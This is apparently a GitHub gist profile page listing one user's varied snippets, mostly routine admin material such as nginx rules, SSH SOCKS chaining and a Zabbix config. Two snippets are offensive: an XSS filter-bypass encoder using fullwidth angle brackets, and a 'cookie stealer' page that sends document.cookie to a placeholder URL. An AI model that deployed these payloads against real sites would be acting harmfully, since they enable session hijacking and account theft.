Skip to content

Instantly share code, notes, and snippets.

View b13bs's full-sized avatar

Étienne Ducharme b13bs

View GitHub Profile
@b13bs
b13bs / script.sh
Created October 10, 2018 22:22
run as root header in bash script
if [ "$EUID" -ne 0 ]
then echo "[-] Should be run as root!"
exit
fi
@b13bs
b13bs / zabbix_agentd.conf
Created September 21, 2018 13:30
Original zabbix agent config file
# This is a configuration file for Zabbix agent daemon (Unix)
# To get more information about Zabbix, visit http://www.zabbix.com
############ GENERAL PARAMETERS #################
### Option: PidFile
# Name of PID file.
#
# Mandatory: no
# Default:
@b13bs
b13bs / auto-default-speaker.sh
Created July 7, 2018 14:59
Automatically switch output sound device when plugged in
# https://askubuntu.com/questions/158241/automatically-change-sound-input-output-device
# Add this line in /etc/pulse/default.pa
load-module module-switch-on-connect
#!/usr/bin/env python3
# source: http://gosecure.net/2016/03/22/xss-for-asp-net-developers/
# Name=XSS_HERE_%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
import urllib.parse
input_string = "<img src=xxx onerror=alert(1)>"
replacements = {"%3C": "%EF%BC%9C", "%3E": "%EF%BC%9E"}
@b13bs
b13bs / index.html
Last active June 19, 2018 14:47
Trivial Javascript cookie stealer
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Page title</title>
</head>
<body>
<script>
document.location="http://url/?c=" + document.cookie;
</script>
@b13bs
b13bs / default
Created June 1, 2018 01:11
Snippet of nginx's site config
# allow from LAN, deny from WAN
allow 192.168.1.0/24;
deny all;
# allow from LAN, basicauth from WAN
satisfy any;
allow 192.168.1.0/24;
deny all;
auth_basic "closed site";
@b13bs
b13bs / socks.sh
Created May 28, 2018 18:20
SOCKS proxy chain
user@machine1 $
ssh -L 8081:localhost:8081 user@machine2 ssh -ND 8081 user@machine3
@b13bs
b13bs / cors.js
Created May 28, 2018 18:19
CORS snippets
var script = document.createElement('script');script.src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js";document.getElementsByTagName('head')[0].appendChild(script);
$.ajax({
url: "https://fullurl-api.test",
type: "OPTIONS",
complete: function(result, status) {
console.log(status)
console.log(result)
}
});
@b13bs
b13bs / SimpleHTTPServer6.py
Created May 27, 2018 13:36 — forked from chrisklaiber/SimpleHTTPServer6.py
Python SimpleHTTPServer over IPv6. Run as `python -m SimpleHTTPServer6 [PORT]`
import BaseHTTPServer
import SimpleHTTPServer
import socket
class HTTPServer6(BaseHTTPServer.HTTPServer):
address_family = socket.AF_INET6
if __name__ == '__main__':
@b13bs
b13bs / desktop-env.sh
Created May 27, 2018 13:31
Toggle GUI autostart
# enable
sudo systemctl set-default graphical.target
# disable
sudo systemctl set-default multi-user.target